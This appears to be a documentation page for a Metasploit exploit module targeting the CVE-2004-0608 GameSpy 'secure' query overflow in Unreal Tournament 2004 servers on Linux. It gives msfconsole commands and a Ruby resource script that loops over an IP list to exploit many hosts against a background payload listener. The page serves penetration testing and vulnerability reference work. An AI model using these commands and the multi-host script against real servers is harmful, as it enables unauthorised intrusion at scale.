Module Overview
Name: Unreal Tournament 2004 "secure" Overflow (Linux)
Module: exploit/linux/games/ut2004_secure
Source code: modules/exploits/linux/games/ut2004_secure.rb
Disclosure date: 2004-06-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): 7787
List of CVEs: CVE-2004-0608
This is an exploit for the GameSpy secure query in the Unreal Engine. This exploit only requires one UDP packet, which can be both spoofed and sent to a broadcast address. Usually, the GameSpy query server listens on port 7787, but you can manually specify the port as well. The RunServer.sh script will automatically restart the server upon a crash, giving us the ability to bruteforce the service and exploit it multiple times.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Using ut2004_secure against a single host
Normally, you can use exploit/linux/games/ut2004_secure this way:
msf > use exploit/linux/games/ut2004_secure
msf exploit(ut2004_secure) > show targets
... a list of targets ...
msf exploit(ut2004_secure) > set TARGET target-id
msf exploit(ut2004_secure) > show options
... show and set options ...
msf exploit(ut2004_secure) > exploit
Using ut2004_secure against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ut2004_secure will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/games/ut2004_secure")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
